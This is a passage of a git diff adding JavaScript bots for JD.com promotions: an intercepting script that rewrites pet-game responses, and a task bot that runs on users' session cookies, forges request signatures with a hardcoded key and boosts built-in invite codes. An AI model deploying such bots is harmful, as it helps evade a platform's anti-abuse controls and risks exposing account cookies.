JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/activity/jd_petTreasureBox.js b/activity/jd_petTreasureBox.js new file mode 100644 index 0000000..2d0e69b --- /dev/null +++ b/activity/jd_petTreasureBox.js @@ -0,0 +1,62 @@ +/* +更新时间:2020-11-12 +活动入口:京东APP我的-更多工具-宠汪汪 +从github@Zero-S1搬的[https://github.com/Zero-S1/JD_tools/blob/master/jbp.js] +【宠汪汪聚宝盆辅助脚本】 +1、进入聚宝盆,显示本轮狗粮池投入总数,方便估算 +2、可能有两位数误差,影响不大 +3、聚宝盆最下方显示上轮前六名的投入狗粮,收入积分,以及纯收益(即:收入积分 - 投入狗粮) +new Env('聚宝盆投狗粮辅助');//此处忽略即可,为自动生成iOS端软件配置文件所需 +[MITM] +hostname = jdjoy.jd.com,draw.jdfcloud.com + +==========Surge============= +[Script] +聚宝盆投狗粮辅助 = type=http-response,pattern=^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox,requires-body=1,max-size=0,script-path=jd_petTreasureBox.js + +===================Quantumult X===================== +[rewrite_local] +^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox url script-response-body jd_petTreasureBox.js + +=====================Loon===================== +[Script] +http-response ^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox script-path=jd_petTreasureBox.js, requires-body=true, timeout=3600, tag=聚宝盆投狗粮辅助 + +*/ +let body = $response.body; +try { + body = JSON.parse(body) + food = body['data']['food'] + function f(v) { + return (v < 0) ? v : `+${v}`; + } + var sum = 0 + lastHourWinInfos = body["data"]["lastHourWinInfos"] + for (var i in lastHourWinInfos) { + sum += lastHourWinInfos[i]["petCoin"] + } + for (var i in lastHourWinInfos) { + body["data"]["lastHourWinInfos"][i]["petCoin"] = `{${lastHourWinInfos[i]["food"]}} [${lastHourWinInfos[i]["petCoin"]}] (${f(lastHourWinInfos[i]["petCoin"] - lastHourWinInfos[i]["food"])}) ` + } + + body["data"]["lastHourWinInfos"].unshift({ + 'pin': "", + 'nickName': '', + 'investHour': lastHourWinInfos[0]['investHour'], + 'stage': '2', + 'food': 0, + 'rank': 0, + 'foodDif': "", + 'petCoin': '{投} [收入] (纯收入)', + 'userTag': "", + 'win': true + }) + lastTurnFood = parseInt(sum / 0.09 * 0.91) + body['data']['food'] = `${food} (+${food - lastTurnFood})` + body = JSON.stringify(body) +} catch (e) { + console.log(e) +} finally { + $done({ body }) +} + diff --git a/activity/jd_pubg.js b/activity/jd_pubg.js new file mode 100644 index 0000000..ffa9474 --- /dev/null +++ b/activity/jd_pubg.js @@ -0,0 +1,514 @@ +/* +PUBG ,运行时间会比较久,Surge请加大timeout时间 +脚本会给内置的码进行助力 +活动于2020-12-13日结束 +活动地址:https://starsingle.m.jd.com/static/index.html#/?fromChangeSkinNum=PUBG +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#PUBG +10 0 * * * jd_pubg.js, tag=PUBG, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_pubg.js,tag=PUBG + +===============Surge================= +PUBG = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_pubg.js + +============小火箭========= +PUBG = type=cron,script-path=jd_pubg.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('PUBG'); +!function(n) { + "use strict"; + function t(n, t) { + var r = (65535 & n) + (65535 & t); + return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r + } + function r(n, t) { + return n << t | n >>> 32 - t + } + function e(n, e, o, u, c, f) { + return t(r(t(t(e, n), t(u, f)), c), o) + } + function o(n, t, r, o, u, c, f) { + return e(t & r | ~t & o, n, t, u, c, f) + } + function u(n, t, r, o, u, c, f) { + return e(t & o | r & ~o, n, t, u, c, f) + } + function c(n, t, r, o, u, c, f) { + return e(t ^ r ^ o, n, t, u, c, f) + } + function f(n, t, r, o, u, c, f) { + return e(r ^ (t | ~o), n, t, u, c, f) + } + function i(n, r) { + n[r >> 5] |= 128 << r % 32, + n[14 + (r + 64 >>> 9 << 4)] = r; + var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; + for (e = 0; e < n.length; e += 16) + i = l, + a = g, + d = v, + h = m, + g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), + l = t(l, i), + g = t(g, a), + v = t(v, d), + m = t(m, h); + return [l, g, v, m] + } + function a(n) { + var t, r = "", e = 32 * n.length; + for (t = 0; t < e; t += 8) + r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); + return r + } + function d(n) { + var t, r = []; + for (r[(n.length >> 2) - 1] = void 0, + t = 0; t < r.length; t += 1) + r[t] = 0; + var e = 8 * n.length; + for (t = 0; t < e; t += 8) + r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; + return r + } + function h(n) { + return a(i(d(n), 8 * n.length)) + } + function l(n, t) { + var r, e, o = d(n), u = [], c = []; + for (u[15] = c[15] = void 0, + o.length > 16 && (o = i(o, 8 * n.length)), + r = 0; r < 16; r += 1) + u[r] = 909522486 ^ o[r], + c[r] = 1549556828 ^ o[r]; + return e = i(u.concat(d(t)), 512 + 8 * t.length), + a(i(c.concat(e), 640)) + } + function g(n) { + var t, r, e = ""; + for (r = 0; r < n.length; r += 1) + t = n.charCodeAt(r), + e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); + return e + } + function v(n) { + return unescape(encodeURIComponent(n)) + } + function m(n) { + return h(v(n)) + } + function p(n) { + return g(m(n)) + } + function s(n, t) { + return l(v(n), v(t)) + } + function C(n, t) { + return g(s(n, t)) + } + function A(n, t, r) { + return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) + } + $.md5 = A +}(this); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://starsingle.m.jd.com/guardianstar/'; +const inviteCodes = ['65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5@a3551e1d-fb07-40f0-b9ad-d50e4b480098@696cfa20-3719-442a-a331-0e07beaeb375@718868ed-2202-465d-b3a4-54e76b30d02a','65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5'] +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await helpFriends(); + await taskList(); + message += `已做完任务,共计获得京豆 ${$.bean}\n` + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await helpFriend(code); + } +} + +function taskList(get=1) { + return new Promise(resolve => { + $.get(taskUrl("getHomePage", ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let vo = data.data[0] + if (vo.shareId) console.log(`您的${$.name}好友助力码为:${vo.shareId}`) + for (let i = 0; i< vo.venueList.length;++i){ + let venue = vo.venueList[i] + if(venue.venueStatus === 1) { + console.log(`【浏览会场】`) + await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=2`) + } + } + for (let i = 0; i< vo.productList.length;++i){ + let product = vo.productList[i] + if(product.productStatus === 1) { + console.log(`【浏览商品】去浏览商品 ${product.productName}`) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) + } if(product.productStatus === 2) { + console.log(`【浏览商品】浏览商品 ${product.productName}未领奖,去领奖`) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) + } else{ + console.log(`【浏览商品】${product.productName}已做过`) + } + } + for (let i = 0; i< vo.shopList.length;++i){ + let shop = vo.shopList[i] + if(shop.shopStatus === 0 || shop.shopStatus === 1) { + console.log(`【关注店铺】去关注店铺 ${shop.shopName}`) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) + } if(shop.shopStatus === 2) { + console.log(`【关注店铺】关注店铺 ${shop.shopName}未领奖,去领奖`) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) + }else{ + console.log(`【关注店铺】${shop.shopName} 已做过`) + } + } + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function helpFriend(code) { + let body = `shareId=${code}` + return new Promise(resolve => { + $.post(taskPostUrl(body,'doSupport'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 200){ + console.log(`助力好友 ${code} 成功`) + }else{ + console.log(`助力好友 ${code} 失败, ${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200){ + if(data.data.bean){ + console.log(`任务完成,获得京豆 ${data.data.bean}`) + message += `任务完成,获得京豆 ${data.data.bean}\n` + $.bean += data.data.bean + } else{ + console.log(`任务领取完成`) + } + } else if(data.code === 1005){ + console.log(`任务已做过`) + } else{ + console.log(`未知错误,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function sign(t,e,n) { + var a = "" + , i = n.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) + a = t + i; + else if ("object" == typeof (t)) { + var r = []; + for (var s in t) + r.push(s + "=" + t[s]); + a = r.length ? r.join("&") + i : i + } + } else + a = i; + if (a) { + var o = a.split("&").sort().join(""); + return $.md5(o + e) + } + return $.md5(e) +} + +function taskUrl(function_id, body = {}) { + let t = getTs() + return { + url: `${JD_API_HOST}${function_id}?t=${t}`, + headers: { + "Cookie": cookie, + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'cache-control': 'no-cache', + "origin": "https://starsingle.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + 'dnt': '1', + 'pragma': 'no-cache', + 'referer': 'https://starsingle.m.jd.com/static/index.html', + 'timestamp': `${t}`, + 'sign': sign(null,`07035cabb557f096${t}`,`/guardianstar/${function_id}?t=${t}`), + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskPostUrl(body = "{}", functionId = 'doTask') { + let t = getTs() + let url = `https://starsingle.m.jd.com/guardianstar/${functionId}`; + return { + url, + body: `${body}&t=${t}`, + headers: { + "Cookie": cookie, + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'cache-control': 'no-cache', + "origin": "https://starsingle.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + 'dnt': '1', + 'pragma': 'no-cache', + 'referer': 'https://starsingle.m.jd.com/static/index.html', + 'timestamp': `${t}`, + 'sign': sign(`${body}&t=${t}`,`07035cabb557f096${t}`,`/guardianstar/doTask`), + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new 